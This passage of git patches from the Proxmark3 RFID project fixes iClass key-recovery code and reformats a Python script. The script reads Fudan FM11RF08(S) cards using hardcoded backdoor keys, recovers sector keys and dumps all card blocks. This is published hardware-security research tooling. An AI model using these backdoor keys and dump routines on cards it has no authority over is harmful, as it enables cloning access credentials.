3 of the License, or +(at your option) any later version. -Ultimately we needed a tool by which to demo everything. -This is it; and this is me proffering it to the wider community. +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. -BlueChip +See LICENSE.txt for the text of the license. + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The original version of this script can be found at: +https://github.com/csBlueChip/Proxmark_Stuff/tree/main/MiFare_Docs/Fudan_RF08(S)/PM3_Script +The original version is released with an MIT Licence. +Or please reach out to me [BlueChip] personally for alternative licenses. ''' #------------------------------------------------------------------------------ @@ -85,8 +91,7 @@ def main(): parseCli() print(f"{prompt} Fudan FM11RF08[S] full card recovery") - print(f"{prompt} (C)Copyright BlueChip 2024") - print(f"{prompt} Licence: MIT (\"Free as in free.\")") + print(f"{prompt} (C)Copyright BlueChip, Nov/2024") print(prompt) print(f"{prompt} Dump folder: {dpath}") From 0b7d76d7cd5004da79aaf62b8d204e4f18620810 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 7 Nov 2024 19:20:50 +0800 Subject: [PATCH 082/155] Fixed keygen bug in legrec Fixed legrec bug that was generating blank keys after misalignment in commit: 110dfab668307ba2ed5f320bf6ea6200f9a91a97 --- armsrc/iclass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 26f466c95..94a4746ea 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2314,9 +2314,9 @@ void iClass_Recover(iclass_recover_req_t *msg) { } } - if (msg->test) { //Step3 Calculate New Key (Optimised Algo V2) generate_single_key_block_inverted_opt(zero_key, index, genkeyblock); + if (msg->test) { memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE); } From d0bd3266f2f1a3792fa6409e9dee3973b79b2d83 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 14:00:17 +0100 Subject: [PATCH 083/155] python script: making Fluke8 pleased --- client/pyscripts/fm11rf08_full.py | 1418 ++++++++++++------------ client/pyscripts/fm11rf08s_recovery.py | 2 +- 2 files changed, 729 insertions(+), 691 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 293943d82..7b28fb783 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -1,43 +1,11 @@ #!/usr/bin/env python3 -#------------------------------------------------------------------------------ -# Revision log & Licence -#------------------------------------------------------------------------------ -''' -1.2.0 - BC - Proxmark3 Submission -''' -script_ver = "1.2.0" - -''' -Copyright @csBlueChip - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -See LICENSE.txt for the text of the license. - -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The original version of this script can be found at: -https://github.com/csBlueChip/Proxmark_Stuff/tree/main/MiFare_Docs/Fudan_RF08(S)/PM3_Script -The original version is released with an MIT Licence. -Or please reach out to me [BlueChip] personally for alternative licenses. -''' - -#------------------------------------------------------------------------------ +# ------------------------------------------------------------------------------ # Imports # import re import os import sys -import time import argparse import pm3 import struct @@ -46,897 +14,967 @@ import requests from fm11rf08s_recovery import recovery +# ------------------------------------------------------------------------------ +# Revision log & Licence +# ------------------------------------------------------------------------------ +''' +1.2.0 - BC - Proxmark3 Submission +''' +script_ver = "1.2.0" + +# Copyright @csBlueChip + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# See LICENSE.txt for the text of the license. + +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +# The original version of this script can be found at: +# https://github.com/csBlueChip/Proxmark_Stuff/tree/main/MiFare_Docs/Fudan_RF08(S)/PM3_Script +# The original version is released with an MIT Licence. +# Or please reach out to me [BlueChip] personally for alternative licenses. + + # optional color support .. `pip install ansicolors` try: - from colors import color + from colors import color except ModuleNotFoundError: - def color(s, fg=None): - _ = fg - return str(s) + def color(s, fg=None): + _ = fg + return str(s) -#+============================================================================= + +# +============================================================================= # Print and Log # >> "logfile" -#============================================================================== -def startlog(uid, append = False): - global logfile +# ============================================================================== +def startlog(uid, append=False): + global logfile - logfile = f"{dpath}hf-mf-{uid:08X}-log.txt" - if append == False: - with open(logfile, 'w'): pass + logfile = f"{dpath}hf-mf-{uid:08X}-log.txt" + if append is False: + with open(logfile, 'w'): + pass -#+========================================================= + +# +========================================================= def lprint(s, end='\n', flush=False): - print(s, end=end, flush=flush) + print(s, end=end, flush=flush) - if logfile is not None: - with open(logfile, 'a') as f: - f.write(s + end) + if logfile is not None: + with open(logfile, 'a') as f: + f.write(s + end) -#++============================================================================ -# == MAIN == + +# ++============================================================================ +# == MAIN == # >> "prompt" # >> p. [console handle] # >> "keyfile" -#============================================================================== +# ============================================================================== def main(): - global prompt - global p + global prompt + global p - prompt = "[bc]" - p = pm3.pm3() # console interface + prompt = "[bc]" + p = pm3.pm3() # console interface - getPrefs() - checkVer() - parseCli() + getPrefs() + checkVer() + parseCli() - print(f"{prompt} Fudan FM11RF08[S] full card recovery") - print(f"{prompt} (C)Copyright BlueChip, Nov/2024") + print(f"{prompt} Fudan FM11RF08[S] full card recovery") + print(f"{prompt} (C)Copyright BlueChip, Nov/2024") - print(prompt) - print(f"{prompt} Dump folder: {dpath}") + print(prompt) + print(f"{prompt} Dump folder: {dpath}") - getDarkKey() - decodeBlock0() + getDarkKey() + decodeBlock0() - global keyfile - global mad + global keyfile + global mad - mad = False - keyfile = f"{dpath}hf-mf-{uid:08X}-key.bin" - keyok = False + mad = False + keyfile = f"{dpath}hf-mf-{uid:08X}-key.bin" + keyok = False - if args.force == False and loadKeys() == True: - keyok = True - else: - if args.recover == False: - lprint(f"{prompt} * Keys not loaded, use --recover to run recovery script [slow]") - else: - recoverKeys() - if loadKeys() == True: keyok = True + if args.force is False and loadKeys() is True: + keyok = True + else: + if args.recover is False: + lprint(f"{prompt} * Keys not loaded, use --recover to run recovery script [slow]") + else: + recoverKeys() + if loadKeys() is True: + keyok = True - if keyok == True: - if verifyKeys() == False: - if args.nokeys == False: - lprint(f"{prompt} ! Use --nokeys to keep going past this point") - exit(101) + if keyok is True: + if verifyKeys() is False: + if args.nokeys is False: + lprint(f"{prompt} ! Use --nokeys to keep going past this point") + exit(101) - readBlocks() - patchKeys(keyok) + readBlocks() + patchKeys(keyok) - diskDump() # save it before you do anything else + diskDump() # save it before you do anything else - dumpData() - dumpAcl() + dumpData() + dumpAcl() - if mad == True: dumpMad() + if mad is True: + dumpMad() - if (args.bambu == True) or (detectBambu() == True): - dumpBambu() + if (args.bambu is True) or (detectBambu() is True): + dumpBambu() - lprint(prompt) - lprint(f"{prompt} Tadah!") + lprint(prompt) + lprint(f"{prompt} Tadah!") - return + return -#+============================================================================= + +# +============================================================================= # Get PM3 preferences # >> "dpath" -#============================================================================== +# ============================================================================== def getPrefs(): - global dpath + global dpath - p.console("prefs show --json") - prefs = json.loads(p.grabbed_output) - dpath = prefs['file.default.dumppath'] + os.path.sep + p.console("prefs show --json") + prefs = json.loads(p.grabbed_output) + dpath = prefs['file.default.dumppath'] + os.path.sep -#+============================================================================= + +# +============================================================================= # Assert python version -#============================================================================== +# ============================================================================== def checkVer(): - required_version = (3, 8) - if sys.version_info < required_version: - print(f"Python version: {sys.version}") - print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") - exit() + required_version = (3, 8) + if sys.version_info < required_version: + print(f"Python version: {sys.version}") + print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") + exit() -#+============================================================================= + +# +============================================================================= # Parse the CLi arguments # >> args. -#============================================================================== +# ============================================================================== def parseCli(): - global args + global args - parser = argparse.ArgumentParser(description='Full recovery of Fudan FM11RF08* cards.') + parser = argparse.ArgumentParser(description='Full recovery of Fudan FM11RF08* cards.') - parser.add_argument('-n', '--nokeys', action='store_true', help='extract data even if keys are missing') - parser.add_argument('-r', '--recover', action='store_true', help='run key recovery script if required') - parser.add_argument('-f', '--force', action='store_true', help='force recovery of keys') - parser.add_argument('-b', '--bambu', action='store_true', help='force Bambu tag decode') - parser.add_argument('-v', '--validate', action='store_true', help='check Fudan signature (requires internet)') + parser.add_argument('-n', '--nokeys', action='store_true', help='extract data even if keys are missing') + parser.add_argument('-r', '--recover', action='store_true', help='run key recovery script if required') + parser.add_argument('-f', '--force', action='store_true', help='force recovery of keys') + parser.add_argument('-b', '--bambu', action='store_true', help='force Bambu tag decode') + parser.add_argument('-v', '--validate', action='store_true', help='check Fudan signature (requires internet)') - args = parser.parse_args() + args = parser.parse_args() - if args.force == True: args.recover = True + if args.force is True: + args.recover = True -#+============================================================================= + +# +============================================================================= # Find backdoor key # >> "dkey" # >> "blk0" -''' -[=] # | sector 00 / 0x00 | ascii -[=] ----+-------------------------------------------------+----------------- -[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. -''' -#============================================================================== +# [=] # | sector 00 / 0x00 | ascii +# [=] ----+-------------------------------------------------+----------------- +# [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. +# ============================================================================== def getDarkKey(): - global dkey - global blk0 + global dkey + global blk0 - # FM11RF08S FM11RF08 FM11RF32 - dklist = ["A396EFA4E24F", "A31667A8CEC1", "518b3354E760"] + # FM11RF08S FM11RF08 FM11RF32 + dklist = ["A396EFA4E24F", "A31667A8CEC1", "518b3354E760"] - print(prompt) - print(f"{prompt} Trying known backdoor keys...") + print(prompt) + print(f"{prompt} Trying known backdoor keys...") - dkey = "" - for k in dklist: - cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" - print(f"{prompt} `{cmd}`", end='', flush=True) - res = p.console(f"{cmd}", capture=False) - if res == 0: - print(" - success") - dkey = k; - break; - print(f" - fail [{res}]") + dkey = "" + for k in dklist: + cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" + print(f"{prompt} `{cmd}`", end='', flush=True) + res = p.console(f"{cmd}", capture=False) + if res == 0: + print(" - success") + dkey = k + break + print(f" - fail [{res}]") - if dkey == "": - print(f"{prompt}") - print(f"{prompt} ! Unknown key, or card not detected.") - exit(1) + if dkey == "": + print(f"{prompt}") + print(f"{prompt} ! Unknown key, or card not detected.") + exit(1) - for line in p.grabbed_output.split('\n'): - if " | " in line and "# | s" not in line: - blk0 = line[10:56+1] + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + blk0 = line[10:56+1] -#+============================================================================= + +# +============================================================================= # Extract data from block 0 # >> "uid" # >> "uids" -#============================================================================== +# ============================================================================== def decodeBlock0(): - global uid - global uids + global uid + global uids - # We do this early so we can name the logfile! - uids = blk0[0:11] # UID string : "11 22 33 44" - uid = int(uids.replace(' ', ''), 16) # UID (value) : 0x11223344 - startlog(uid, append=False) + # We do this early so we can name the logfile! + uids = blk0[0:11] # UID string : "11 22 33 44" + uid = int(uids.replace(' ', ''), 16) # UID (value) : 0x11223344 + startlog(uid, append=False) - lprint(prompt) - lprint(f"{prompt} UID BCC ++----- RF08 ID -----++") - lprint(f"{prompt} ! ! SAK !! !!") - lprint(f"{prompt} ! ! ! ATQA !! Fudan Sig !!") - lprint(f"{prompt} !---------. !. !. !---. VV .---------------. VV") - # 0 12 15 18 24 27 45 - # ! ! ! ! ! ! ! - # 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF - lprint(f"{prompt} Block 0 : {blk0}") + lprint(prompt) + lprint(f"{prompt} UID BCC ++----- RF08 ID -----++") + lprint(f"{prompt} ! ! SAK !! !!") + lprint(f"{prompt} ! ! ! ATQA !! Fudan Sig !!") + lprint(f"{prompt} !---------. !. !. !---. VV .---------------. VV") + # 0 12 15 18 24 27 45 + # ! ! ! ! ! ! ! + # 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF + lprint(f"{prompt} Block 0 : {blk0}") - # --- decode block 0 --- + # --- decode block 0 --- - bcc = int(blk0[12:14], 16) # BCC - chk = 0 # calculate checksum - for h in uids.split(): - chk ^= int(h, 16) + bcc = int(blk0[12:14], 16) # BCC + chk = 0 # calculate checksum + for h in uids.split(): + chk ^= int(h, 16) - sak = int(blk0[15:17], 16) # SAK - atqa = int(blk0[18:23].replace(' ',''), 16) # 0x7788 + sak = int(blk0[15:17], 16) # SAK + atqa = int(blk0[18:23].replace(' ', ''), 16) # 0x7788 - fida = int(blk0[24:26], 16) # Fudan ID 0x88 - fidb = int(blk0[45:47], 16) # Fudan ID 0xFF - fid = (fida<<8)|fidb # Fudan ID 0x88FF + fida = int(blk0[24:26], 16) # Fudan ID 0x88 + fidb = int(blk0[45:47], 16) # Fudan ID 0xFF + # fid = (fida<<8)|fidb # Fudan ID 0x88FF - hash = blk0[27:44] # Fudan hash "99 AA BB CC DD EE" + hash = blk0[27:44] # Fudan hash "99 AA BB CC DD EE" - type = f"[{fida:02X}:{fidb:02X}]" # type/name - if fidb == 0x90: - if fida == 0x01 or fida == 0x03 or fida == 0x04: - type += " - Fudan FM11RF08S" + type = f"[{fida:02X}:{fidb:02X}]" # type/name + if fidb == 0x90: + if fida == 0x01 or fida == 0x03 or fida == 0x04: + type += " - Fudan FM11RF08S" - elif fidb == 0x1D: - if fida == 0x01 or fida == 0x02 or fida == 0x03: - type += " - Fudan FM11RF08" + elif fidb == 0x1D: + if fida == 0x01 or fida == 0x02 or fida == 0x03: + type += " - Fudan FM11RF08" - elif fidb == 0x91 or fidb == 0x98: - type += " - Fudan FM11RF08 (never seen in the wild)" + elif fidb == 0x91 or fidb == 0x98: + type += " - Fudan FM11RF08 (never seen in the wild)" - else: - type += " - Unknown (please report)" + else: + type += " - Unknown (please report)" - # --- show results --- + # --- show results --- - lprint(prompt) + lprint(prompt) - lprint(f"{prompt} UID/BCC : {uid:08X}/{bcc:02X} - ", end='') - if bcc == chk: lprint("verified") - else: lprint(f"fail. Expected {chk:02X}") + lprint(f"{prompt} UID/BCC : {uid:08X}/{bcc:02X} - ", end='') + if bcc == chk: + lprint("verified") + else: + lprint(f"fail. Expected {chk:02X}") - lprint(f"{prompt} SAK : {sak:02X} - ", end='') - if sak == 0x01: lprint("NXP MIFARE TNP3xxx 1K") - elif sak == 0x08: lprint("NXP MIFARE CLASSIC 1k | Plus 1k | Ev1 1K") - elif sak == 0x09: lprint("NXP MIFARE Mini 0.3k") - elif sak == 0x10: lprint("NXP MIFARE Plus 2k") - elif sak == 0x18: lprint("NXP MIFARE Classic 4k | Plus 4k | Ev1 4k") - else: lprint("{unknown}") + lprint(f"{prompt} SAK : {sak:02X} - ", end='') + if sak == 0x01: + lprint("NXP MIFARE TNP3xxx 1K") + elif sak == 0x08: + lprint("NXP MIFARE CLASSIC 1k | Plus 1k | Ev1 1K") + elif sak == 0x09: + lprint("NXP MIFARE Mini 0.3k") + elif sak == 0x10: + lprint("NXP MIFARE Plus 2k") + elif sak == 0x18: + lprint("NXP MIFARE Classic 4k | Plus 4k | Ev1 4k") + else: + lprint("{unknown}") - lprint(f"{prompt} ATQA : {atqa:04X}") # show ATQA - lprint(f"{prompt} Fudan ID : {type}") # show type - lprint(f"{prompt} Fudan Sig: {hash}") # show ?Partial HMAC? - lprint(f"{prompt} Dark Key : {dkey}") # show key + lprint(f"{prompt} ATQA : {atqa:04X}") # show ATQA + lprint(f"{prompt} Fudan ID : {type}") # show type + lprint(f"{prompt} Fudan Sig: {hash}") # show ?Partial HMAC? + lprint(f"{prompt} Dark Key : {dkey}") # show key -#+============================================================================= + +# +============================================================================= # Fudan validation # >> "blk0" -#============================================================================== +# ============================================================================== def fudanValidate(): - global blk0 + global blk0 - url = "https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest" - hdr = "Content-Type: application/text; charset=utf-8" - post = f"{blk0.replace(' ','')}" + url = "https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest" + hdr = "Content-Type: application/text; charset=utf-8" + post = f"{blk0.replace(' ', '')}" - lprint(prompt) - lprint(f"{prompt} Validator: `wget -q -O -" - f" --header=\"{hdr}\"" - f" --post-data \"{post}\"" - f" {url}" - " | json_pp`") + lprint(prompt) + lprint(f"{prompt} Validator: `wget -q -O -" + f" --header=\"{hdr}\"" + f" --post-data \"{post}\"" + f" {url}" + " | json_pp`") - if args.validate: - lprint(prompt) - lprint(f"{prompt} Check Fudan signature (requires internet)...") + if args.validate: + lprint(prompt) + lprint(f"{prompt} Check Fudan signature (requires internet)...") - headers = { "Content-Type" : "application/text; charset=utf-8" } - resp = requests.post(url, headers=headers, data=post) + headers = {"Content-Type": "application/text; charset=utf-8"} + resp = requests.post(url, headers=headers, data=post) - if resp.status_code != 200: - lprint(f"{prompt} HTTP Error {resp.status_code} - check request not processed") + if resp.status_code != 200: + lprint(f"{prompt} HTTP Error {resp.status_code} - check request not processed") - else: - r = json.loads(resp.text) - lprint(f"{prompt} The man from Fudan, he say: {r['code']} - {r['message']}", end='') - if r['data'] is not None: - lprint(f" {{{r['data']}}}") - else: - lprint("") - else: - lprint(prompt) - lprint(f"{prompt} ...Use --validate to perform Fudan signature check automatically") + else: + r = json.loads(resp.text) + lprint(f"{prompt} The man from Fudan, he say: {r['code']} - {r['message']}", end='') + if r['data'] is not None: + lprint(f" {{{r['data']}}}") + else: + lprint("") + else: + lprint(prompt) + lprint(f"{prompt} ...Use --validate to perform Fudan signature check automatically") -#+============================================================================= + +# +============================================================================= # Load keys from file # If keys cannot be loaded AND --recover is specified, then run key recovery # >> "keyfile" # >> "key[17][2]" -#============================================================================== +# ============================================================================== + + def loadKeys(): - global keyfile - global key + global keyfile + global key - key = [[0 for _ in range(2)] for _ in range(17)] # create a fresh array + key = [[b'' for _ in range(2)] for _ in range(17)] # create a fresh array - lprint(prompt) - lprint(f"{prompt} Load Keys from file: |{keyfile}|") + lprint(prompt) + lprint(f"{prompt} Load Keys from file: |{keyfile}|") - try: - with (open(keyfile, "rb")) as fh: - for ab in [0, 1]: - for sec in range((16+2)-1): - key[sec][ab] = fh.read(6) + try: + with (open(keyfile, "rb")) as fh: + for ab in [0, 1]: + for sec in range((16+2)-1): + key[sec][ab] = fh.read(6) - except IOError as e: - return False + except IOError: + return False - return True + return True -#+============================================================================= + +# +============================================================================= # Run key recovery script # >> "keyfile" -#============================================================================== +# ============================================================================== def recoverKeys(): - global keyfile + global keyfile - badrk = 0 # 'bad recovered key' count (ie. not recovered) + badrk = 0 # 'bad recovered key' count (ie. not recovered) - lprint(prompt) - lprint(f"{prompt} Running recovery script, ETA: Less than 30 minutes") + lprint(prompt) + lprint(f"{prompt} Running recovery script, ETA: Less than 30 minutes") - lprint(prompt) - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint(prompt) + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') - r = recovery(quiet=False) - keyfile = r['keyfile'] - rkey = r['found_keys'] - fdump = r['dumpfile'] - rdata = r['data'] + r = recovery(quiet=False) + keyfile = r['keyfile'] + rkey = r['found_keys'] + # fdump = r['dumpfile'] + # rdata = r['data'] - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') - for k in range(0, 16+1): - for ab in [0, 1]: - if rkey[k][ab] == "": - if badrk == 0: lprint(f"{prompt} Some keys were not recovered: ", end='') - else: lprint(f", ", end='') - badrk += 1 + for k in range(0, 16+1): + for ab in [0, 1]: + if rkey[k][ab] == "": + if badrk == 0: + lprint(f"{prompt} Some keys were not recovered: ", end='') + else: + lprint(", ", end='') + badrk += 1 - kn = k - if kn > 15: kn += 16 - lprint(f"[{kn}/", end='') - lprint("A]" if ab == 0 else "B]", end='') - if badrk > 0: lprint("") + kn = k + if kn > 15: + kn += 16 + lprint(f"[{kn}/", end='') + lprint("A]" if ab == 0 else "B]", end='') + if badrk > 0: + lprint("") -#+============================================================================= + +# +============================================================================= # Verify keys # >> "key[][]" # >> mad! -#============================================================================== +# ============================================================================== def verifyKeys(): - global key - global mad + global key + global mad - badk = 0 + badk = 0 - lprint(f"{prompt} Check keys..") + lprint(f"{prompt} Check keys..") - for sec in range (0,16+1): # 16 normal, 1 dark - sn = sec - if (sn > 15): sn = sn + 16 + for sec in range(0, 16+1): # 16 normal, 1 dark + sn = sec + if (sn > 15): + sn = sn + 16 - for ab in [0, 1]: - bn = (sec * 4) + 3 - if bn >= 64: bn += 64 + for ab in [0, 1]: + bn = (sec * 4) + 3 + if bn >= 64: + bn += 64 - cmd = f"hf mf rdbl -c {ab} --key {key[sec][ab].hex()} --blk {bn}" - lprint(f"{prompt} `{cmd}`", end='', flush=True) + cmd = f"hf mf rdbl -c {ab} --key {key[sec][ab].hex()} --blk {bn}" + lprint(f"{prompt} `{cmd}`", end='', flush=True) - res = p.console(f"{cmd}", capture=False) - lprint(" " * (3-len(str(bn))), end="") - if res == 0: - lprint(" ... PASS", end="") - else: - lprint(" ... FAIL", end="") - badk += 1 - key[sec][ab] = "" + res = p.console(f"{cmd}", capture=False) + lprint(" " * (3-len(str(bn))), end="") + if res == 0: + lprint(" ... PASS", end="") + else: + lprint(" ... FAIL", end="") + badk += 1 + key[sec][ab] = b'' - # check for Mifare Application Directory - if (sec == 0) and (ab == 0) \ - and (key[0][0] == b'\xa0\xa1\xa2\xa3\xa4\xa5'): - mad = True - lprint(" - MAD Key") - else: - lprint("") + # check for Mifare Application Directory + if (sec == 0) and (ab == 0) \ + and (key[0][0] == b'\xa0\xa1\xa2\xa3\xa4\xa5'): + mad = True + lprint(" - MAD Key") + else: + lprint("") - if badk > 0: - lprint(f"{prompt} ! {badk} bad key", end='') - lprint("s exist" if badk != 1 else " exists") - rv = False + if badk > 0: + lprint(f"{prompt} ! {badk} bad key", end='') + lprint("s exist" if badk != 1 else " exists") + rv = False - else: - lprint(f"{prompt} All keys verified OK") - rv = True + else: + lprint(f"{prompt} All keys verified OK") + rv = True - if mad == True: - lprint(f"{prompt} MAD key detected") + if mad is True: + lprint(f"{prompt} MAD key detected") - return rv + return rv -#+============================================================================= + +# +============================================================================= # Read all block data - INCLUDING Dark blocks # >> blkn # >> "data[]" -''' -[=] # | sector 00 / 0x00 | ascii -[=] ----+-------------------------------------------------+----------------- -[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. -''' -#============================================================================== +# [=] # | sector 00 / 0x00 | ascii +# [=] ----+-------------------------------------------------+----------------- +# [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. +# ============================================================================== def readBlocks(): - global data - global blkn + global data + global blkn - data = [] - blkn = list(range(0, 63+1)) + list(range(128, 135+1)) + data = [] + blkn = list(range(0, 63+1)) + list(range(128, 135+1)) - # The user uses keyhole #1 (-a) - # The vendor uses keyhole #2 (-b) - # The thief uses keyhole #4 (backdoor) - # |___ - rdbl = f"hf mf rdbl -c 4 --key {dkey} --blk" + # The user uses keyhole #1 (-a) + # The vendor uses keyhole #2 (-b) + # The thief uses keyhole #4 (backdoor) + # |___ + rdbl = f"hf mf rdbl -c 4 --key {dkey} --blk" - lprint(prompt) - lprint(prompt + " Load blocks {0..63, 128..135}[64+8=72] from the card") + lprint(prompt) + lprint(prompt + " Load blocks {0..63, 128..135}[64+8=72] from the card") - bad = 0 - for n in blkn: - cmd = f"{rdbl} {n}" - print(f"\r{prompt} `{cmd}`", end='', flush=True) + bad = 0 + for n in blkn: + cmd = f"{rdbl} {n}" + print(f"\r{prompt} `{cmd}`", end='', flush=True) - for retry in range(5): - p.console(f"{cmd}") + for retry in range(5): + p.console(f"{cmd}") - found = False - for line in p.grabbed_output.split('\n'): - if " | " in line and "# | s" not in line: - l = line[4:76] - data.append(l) - found = True - if found: break + found = False + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + lsub = line[4:76] + data.append(lsub) + found = True + if found: + break - if not found: - data.append(f"{n:3d} | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ----------------") - bad += 1 + if not found: + data.append(f"{n:3d} | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ----------------") + bad += 1 - print(" .. OK") + print(" .. OK") -#+============================================================================= + +# +============================================================================= # Patch keys in to data # >> "key[][]" # >> "data[]" # >> keyok! -''' - 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... -''' -#============================================================================== +# 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... +# ============================================================================== def patchKeys(keyok): - global key - global data + global key + global data - lprint(prompt) - lprint(f"{prompt} Patch keys in to data") + lprint(prompt) + lprint(f"{prompt} Patch keys in to data") - for sec in range(0, 16+1): - blk = (sec * 4) +3 # find "trailer" for this sector - if keyok: - if key[sec][0] == "": - keyA = "-- -- -- -- -- -- " - else: - kstr = key[sec][0].hex() - keyA = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) + for sec in range(0, 16+1): + blk = (sec * 4) + 3 # find "trailer" for this sector + if keyok: + if key[sec][0] == b'': + keyA = "-- -- -- -- -- -- " + else: + kstr = key[sec][0].hex() + keyA = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) - if key[sec][1] == "": - keyB = "-- -- -- -- -- -- " - else: - kstr = key[sec][1].hex() - keyB = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) + if key[sec][1] == b'': + keyB = "-- -- -- -- -- -- " + else: + kstr = key[sec][1].hex() + keyB = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) - data[blk] = data[blk][:6] + keyA + data[blk][24:36] + keyB + data[blk] = data[blk][:6] + keyA + data[blk][24:36] + keyB - else: - data[blk] = data[blk][:6] + "-- -- -- -- -- -- " + data[blk][24:36] + "-- -- -- -- -- --" + else: + data[blk] = data[blk][:6] + "-- -- -- -- -- -- " + data[blk][24:36] + "-- -- -- -- -- --" -#+============================================================================= + +# +============================================================================= # Dump data # >> blkn # >> "data[]" -#============================================================================== +# ============================================================================== def dumpData(): - global blkn - global data + global blkn + global data - lprint(prompt) - lprint(f"{prompt} ===========") - lprint(f"{prompt} Card Data") - lprint(f"{prompt} ===========") - lprint(f"{prompt}") + lprint(prompt) + lprint(f"{prompt} ===========") + lprint(f"{prompt} Card Data") + lprint(f"{prompt} ===========") + lprint(f"{prompt}") - cnt = 0 - for n in blkn: - sec = (cnt // 4) - if sec > 15: sec = sec + 16 + cnt = 0 + for n in blkn: + sec = (cnt // 4) + if sec > 15: + sec = sec + 16 - if (n % 4 == 0): - lprint(f"{prompt} {sec:2d}:{data[cnt]}") - else: - lprint(f"{prompt} :{data[cnt]}") + if (n % 4 == 0): + lprint(f"{prompt} {sec:2d}:{data[cnt]}") + else: + lprint(f"{prompt} :{data[cnt]}") - cnt += 1 - if (cnt % 4 == 0) and (n != blkn[-1]): # Space between sectors - lprint(prompt) + cnt += 1 + if (cnt % 4 == 0) and (n != blkn[-1]): # Space between sectors + lprint(prompt) -#+============================================================================= + +# +============================================================================= # Let's try to detect a Bambu card by the date strings... -#============================================================================== +# ============================================================================== def detectBambu(): - try: - dl = bytes.fromhex(data[12][ 6:53]).decode('ascii').rstrip('\x00') - dls = dl[2:13] - ds = bytes.fromhex(data[13][ 6:41]).decode('ascii').rstrip('\x00') - except Exception as e: - return False + try: + dl = bytes.fromhex(data[12][6:53]).decode('ascii').rstrip('\x00') + dls = dl[2:13] + ds = bytes.fromhex(data[13][6:41]).decode('ascii').rstrip('\x00') + except Exception: + return False - # ds 24_03_22_16 - # dl 2024_03_22_16_29 - # yy y y m m d d h h m m - exp = r"20[2-3][0-9]_[0-1][0-9]_[0-3][0-9]_[0-2][0-9]_[0-5][0-9]" + # ds 24_03_22_16 + # dl 2024_03_22_16_29 + # yy y y m m d d h h m m + exp = r"20[2-3][0-9]_[0-1][0-9]_[0-3][0-9]_[0-2][0-9]_[0-5][0-9]" - lprint(f"{prompt}") - if re.search(exp, dl) and (ds == dls): - lprint(f"{prompt} Bambu date strings detected.") - return True - else: - lprint(f"{prompt} Bambu date strings not detected.") - return False + lprint(f"{prompt}") + if re.search(exp, dl) and (ds == dls): + lprint(f"{prompt} Bambu date strings detected.") + return True + else: + lprint(f"{prompt} Bambu date strings not detected.") + return False -#+============================================================================= +# +============================================================================= # Dump bambu details # https://github.com/Bambu-Research-Group/RFID-Tag-Guide/blob/main/README.md # >> "data[]" -''' - 6 18 30 42 53 - | | | | | - 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... -''' 